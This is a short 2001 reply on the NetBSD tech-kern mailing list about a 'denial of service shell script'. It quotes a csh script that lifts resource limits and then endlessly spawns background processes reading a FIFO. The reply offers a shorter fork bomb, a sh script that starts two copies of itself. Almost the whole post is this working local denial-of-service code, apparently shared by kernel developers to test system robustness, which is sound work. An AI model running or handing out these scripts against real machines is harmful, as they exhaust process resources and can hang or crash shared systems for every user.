Subject: Re: denial of service shell script
To: Emmanuel Dreyfus <manu@netbsd.org>
From: Wojciech Puchar <wojtek@chylonia.3miasto.net>
List: tech-kern
Date: 12/18/2001 17:04:18
> #!/bin/csh
> set path = ( /usr/bin /usr/sbin /bin /sbin )
> unlimit
> cd /tmp
> if ( -e fifo ) then
> rm fifo
> endif
> mkfifo fifo
> while ( 1 )
> cat fifo >& /dev/null &
> end

how about:

#!/bin/sh
$0 &
$0 &

?